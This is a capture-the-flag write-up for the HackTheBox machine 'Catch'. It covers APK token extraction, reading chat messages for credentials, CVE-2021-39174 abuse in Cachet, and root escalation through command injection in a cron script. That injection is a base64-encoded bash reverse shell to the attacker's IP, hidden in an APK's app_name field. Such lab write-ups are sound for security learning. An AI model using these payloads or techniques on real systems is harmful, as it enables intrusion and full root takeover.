Catch - [HTB]
Table of Contents
Introduction
Catch is a medium HackTheBox machine where the attacker will have to do a static analysis of an Android application in order to obtain a Let's chat API token. Then, it will have to use the API to exfiltrate messages from some chat rooms obtaining some credentials for Cachet platform. After that, it will have to exploit a Cachet vulnerability to obtain the database's credentials, access the machine and get the user flag. Finally, it will have to exploit an improper input validation on a crontab script, compiling a malicious application, to obtain a reverse shell as root.
Enumeration
As always, let's start finding all opened ports in the machine with Nmap.
kali@kali:~/Documents/HTB/Catch$ sudo nmap -v -sS -p- -n -T4 -oN AllPorts.txt 10.10.11.150
Nmap scan report for 10.10.11.150
Host is up (0.043s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
5000/tcp open upnp
8000/tcp open http-alt
Then, we continue with a deeper scan of every opened port, getting more information about each service.
kali@kali:~/Documents/HTB/Catch$ nmap -sC -sV -n -T4 -oN PortsDepth.txt -p 22,80,3000,5000,8000 10.10.11.150
Nmap scan report for 10.10.11.150
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
[...]
5000/tcp open upnp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:
| HTTP/1.1 400 Bad Request
[...]
8000/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)
Starting with port 80 there is a web talking about two technologies Let's chat and Gitea. Furthermore, we can download the APK "catchv1.0".
Proceeding with port 3000, there is a Gitea web page.
In there, a new subdomain can be found.
kali@kali:~/Documents/HTB/Catch$ curl http://10.10.11.150:3000/ 2>/dev/null | grep '\.htb'
<meta property="og:url" content="http://gitea.catch.htb:3000/" />
Then, at port 5000, there is the Let's chat web page.
Finally, at port 8000, there is a Cachet portal.
Now, let's start analysing the APK.
Looking for domains, the subdomain status.catch.htb
can be found.
kali@kali:~/Documents/HTB/Catch/$ wget http://catch.htb/catchv1.0.apk
kali@kali:~/Documents/HTB/Catch/$ apktool d catchv1.0.apk
kali@kali:~/Documents/HTB/Catch/$ cd catchv1.0
kali@kali:~/Documents/HTB/Catch/catchv1.0$ grep -iR '\.htb'
smali/com/example/acatch/MainActivity.smali: const-string v0, "https://status.catch.htb/"
Then, looking for tokens, the lets_chat_token
can also be found.
kali@kali:~/Documents/HTB/Catch/catchv1.0/res/values$ grep -iRn token .
./public.xml:2292: <public type="string" name="gitea_token" id="0x7f0e0028" />
./public.xml:2296: <public type="string" name="lets_chat_token" id="0x7f0e002c" />
./public.xml:2353: <public type="string" name="slack_token" id="0x7f0e0065" />
./strings.xml:43: <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
./strings.xml:47: <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
./strings.xml:104: <string name="slack_token">xoxp-23984754863-2348975623103</string>
Exploitation 1
Looking at the let's chat API, there is an Authentication section showing how to log in. To do so, let's try to obtain the current account, executing the following command and using the lets_chat_token
as an authentication token.
curl http://10.10.11.150:5000/account -s -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | jq
{
"id": "61b86aead984e2451036eb16",
"firstName": "Administrator",
"lastName": "NA",
"username": "admin",
"displayName": "Admin",
"avatar": "e2b5310ec47bba317c5f1b5889e96f04",
"openRooms": [
"61b86b28d984e2451036eb17",
"61b86b3fd984e2451036eb18",
"61b8708efe190b466d476bfb"
]
}
Some credentials can be obtained by looking at the messages for each open room.
curl -s http://10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/messages -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | jq
[...]
{
"id": "61b8702dfe190b466d476bfa",
"text": "Here are the credentials `john : E}V!mywu_69T4C}W`",
"posted": "2021-12-14T10:21:33.859Z",
"owner": "61b86f15fe190b466d476bf5",
"room": "61b86b28d984e2451036eb17"
},
[...]
The credentials john:E}V!mywu_69T4C}W
can be used on the cachet login panel.
Exploitation 2
The catchet's version can be obtained by accessing the settings panel.
This version is vulnerable to CVE-2021-39174, which allows retrieving the database's password, as seen in this post.
To exploit this vulnerability, go to the mail settings, select the mail driver Log (Testing)
, click save and intercept the request with BurpSuite. Finally, change the config[mail_address]
attribute by ${DB_USERNAME}
.
After refreshing the page, you will obtain the user will
. Doing the same procedure but changing the mail address attribute by ${DB_PASSWORD}
, we get the password s2#4Fg0_%3!
.
These credentials can be used for gaining access to the machine through SSH, obtaining the users' flag.
kali@kali:~/Documents/HTB/Catch$ ssh will@10.10.11.150
will@catch.htb's password: s2#4Fg0_%3!
[...]
will@catch:~$ cat user.txt
[CENSORED]
Privilege Escalation
Executing pspy, you can see that the script verify.sh
is being executed each minute or so.
2022/04/27 11:43:01 CMD: UID=0 PID=157546 | /bin/sh -c /opt/mdm/verify.sh
2022/04/27 11:43:01 CMD: UID=0 PID=157545 | /bin/sh -c rm -rf /root/mdm/certified_apps/*
2022/04/27 11:43:01 CMD: UID=0 PID=157544 | /bin/sh -c /opt/mdm/verify.sh
2022/04/27 11:43:01 CMD: UID=0 PID=157547 | /bin/sh -c rm -rf /root/mdm/certified_apps/*
2022/04/27 11:43:01 CMD: UID=0 PID=157548 | /bin/bash /opt/mdm/verify.sh
Analysing the /opt/mdm/verify.sh
, we can see that the function app_check
is vulnerable to improper input validation so we can execute code.
####################
# Basic App Checks #
####################
app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
else
echo "[!] App doesn't belong to Catch Global"
cleanup
exit
fi
}
As you can see below, the function retrieves the value of the app_name
variable. Then, if the string "Catch" appears on the application name, the name is piped to the mkdir command.
For example, the string "Catch; echo Hello" will create the directory Catch
and execute the echo command.
kali@kali:/tmp$ echo -n "Catch; echo Hello"|xargs -I {} sh -c 'mkdir {}'
Hello
kali@kali:/tmp$ ls -l
[...]
drwxr-xr-x 2 kali kali 4096 Apr 27 07:55 Catch
Hence, using a malicious application's name can lead to escalate privileges.
cat catchv1.0/res/values/strings.xml
<string name="app_name">CatchV2;echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Ny80NDQ0IDA+JjE= | base64 -d | bash</string>
Then, it is needed to recompile the application following this tutorial.
Note: Use the latest apktool version, or it will not work.
kali@kali:/tmp$ java -jar apktool_2.6.1.jar b -d catchv2.0/ -o catchV2.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1
I: Smaling smali folder into classes.dex...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk..
kali@kali:/tmp$ keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
[...]
kali@kali:/tmp$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore catchV2.apk alias_name
[...]
After that, if the application was signed successfully with the following command:
kali@kali:/tmp$ jarsigner -verify -verbose -certs catchV2.apk
[...]
jar verified.
[...]
The signer certificate will expire on 2049-09-12.
Finally, upload your malicious APK, waiting for the script to be executed.
will@catch:/tmp$ wget 10.10.14.57/catchV2.apk -O /opt/mdm/apk_bin/catchV2.apk
kali@kali:/tmp$ nc -nlvp 4444
[...]
root@catch:~# cat /root/root.txt
cat /root/root.txt
[CENSORED]